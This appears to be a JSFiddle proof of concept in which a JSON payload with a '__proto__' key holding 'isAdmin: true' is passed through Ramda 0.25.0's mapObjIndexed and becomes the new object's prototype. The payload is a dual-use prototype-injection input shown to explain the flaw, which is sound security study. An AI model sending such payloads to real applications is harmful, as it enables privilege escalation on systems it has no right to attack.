JSFiddle - React, Tailwind, and code Playground
HTML
<script src="//cdnjs.cloudflare.com/ajax/libs/ramda/0.25.0/ramda.min.js"></script>
JavaScript
//when objects are parsed, all properties are created as own (the objects can come from outside sources (http requests/ file))
const hasOwn = JSON.parse('{"__proto__": {"isAdmin": true}}');
//does not have the property, because it's inside object's own "__proto__"
console.log(hasOwn.isAdmin);
const mapped = R.mapObjIndexed((val) => val, hasOwn);
// after the method executes, hasOwn.__proto__ value (isAdmin: true) replaces the prototype of the newly created object, leading to potential exploits.
console.log(mapped.isAdmin);